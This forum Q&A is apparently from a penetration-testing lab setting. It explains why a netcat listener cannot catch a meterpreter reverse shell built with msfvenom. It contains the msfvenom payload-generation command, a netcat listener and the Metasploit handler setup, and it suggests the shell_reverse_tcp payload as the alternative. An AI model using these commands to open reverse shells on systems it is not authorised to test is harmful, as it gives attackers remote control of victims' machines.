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For most reverse shell here, I can simply use netcat to connect:
nc -nlvp 1234
But for reverse shell created by msfvenom, for example:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f aspx
I CANNOT use netcat to connect.
Instead, use msfconsole to connect:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
Question:
Why netcat is NOT working here?
To connect reverse shell created by msfvenom, any other way than metasploit?
Why netcat is NOT working here?
To connect reverse shell created by msfvenom, any other way than metasploit?
That's because you are generating a fully fledged meterpreter payload and using that is extremely different from a simple reverse shell. A simple reverse shell is a just a textual access to the cmd/bash but a fully fledged meterpreter payload contains not just shell access but also all kinds of other commands sending and receiving. In simple terms netcat cannot interact on a text basis with meterpreter. You could use the shell_reverse_tcp payload instead of meterpreter and then receive a connect back to netcat but not with meterpreter/reverse_tcp.
